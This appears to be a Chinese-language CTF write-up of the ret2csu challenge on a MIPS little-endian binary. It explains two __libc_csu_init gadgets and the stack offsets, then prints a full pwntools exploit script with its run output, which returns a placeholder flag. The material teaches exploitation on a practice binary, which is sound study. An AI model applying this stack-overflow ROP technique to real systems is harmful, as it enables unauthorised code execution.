ret2csu就是使用_libc_csu_init中的代码片段来达到调用任意三个(及以下)函数的ROP作用。此处查看_libc_csu_init函数中的两段代码片段: 这段代码可以从栈上恢复s0~s5、ra,并跳转到ra去执行
1 2 3 4 5 6 7 8 9 10 .text:004009C0 loc_4009C0: # CODE XREF: __libc_csu_init+58↑j .text:004009C0 lw $ra, 0x1C+var_s18($sp) .text:004009C4 lw $s5, 0x1C+var_s14($sp) .text:004009C8 lw $s4, 0x1C+var_s10($sp) .text:004009CC lw $s3, 0x1C+var_sC($sp) .text:004009D0 lw $s2, 0x1C+var_s8($sp) .text:004009D4 lw $s1, 0x1C+var_s4($sp) .text:004009D8 lw $s0, 0x1C+var_s0($sp) .text:004009DC jr $ra .text:004009E0 addiu $sp, 0x38
这段代码可以从s系列寄存器恢复到a0、a1、a2、t9,达到调用三参数函数的作用。
1 2 3 4 5 6 7 .text:004009A0 loc_4009A0: # CODE XREF: __libc_csu_init+78↓j .text:004009A0 lw $t9, 0($s0) .text:004009A4 addiu $s1, 1 .text:004009A8 move $a2, $s5 .text:004009AC move $a1, $s4 .text:004009B0 jalr $t9 .text:004009B4 move $a0, $s3
接下来还是查看一下pwnme函数:缓冲区起始地址在sp+0x18,返回地址保存在sp+0x3c,可以控制的输入大小是0x200。 利用过程: 还是先溢出覆盖到返回地址,控制到从栈上恢复寄存器:
1 2 rop = b"A" * 0x24 rop += p32(load_regs)
然后从寄存器恢复函数参数,并从GOT表调用ret2win函数:
1 2 3 4 5 6 7 8 rop += b"B" * 0x1C rop += p32(ret2win_got) rop += b"B" * 4 rop += b"B" * 4 rop += p32(0xDEADBEEF ) rop += p32(0xCAFEBABE ) rop += p32(0xD00DF00D ) rop += p32(call_ret2win)
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *BINARY = "./ret2csu_mipsel" ELF = ELF(BINARY) context.os = "linux" context.arch = "mips" context.binary = BINARY load_regs = 0x004009C0 ret2win_got = 0x00411058 call_ret2win = 0x004009A0 p = remote("10.0.0.2" , 9999 ) rop = b"A" * 0x24 rop += p32(load_regs) rop += b"B" * 0x1C rop += p32(ret2win_got) rop += b"B" * 4 rop += b"B" * 4 rop += p32(0xDEADBEEF ) rop += p32(0xCAFEBABE ) rop += p32(0xD00DF00D ) rop += p32(call_ret2win) p.recvuntil(b"> " ) p.sendline(rop) print (p.recvline_contains(b"ROPE" ))
效果如下:
1 2 3 4 5 6 7 8 9 10 11 $ python3 ret2csu.py [*] '/home/utest/rop_practice/mipsel/ret2csu_mipsel/ret2csu_mipsel' Arch: mips-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RUNPATH: b'.' [+] Opening connection to 10.0.0.2 on port 9999: Done b'ROPE{a_placeholder_32byte_flag!}' [*] Closed connection to 10.0.0.2 port 9999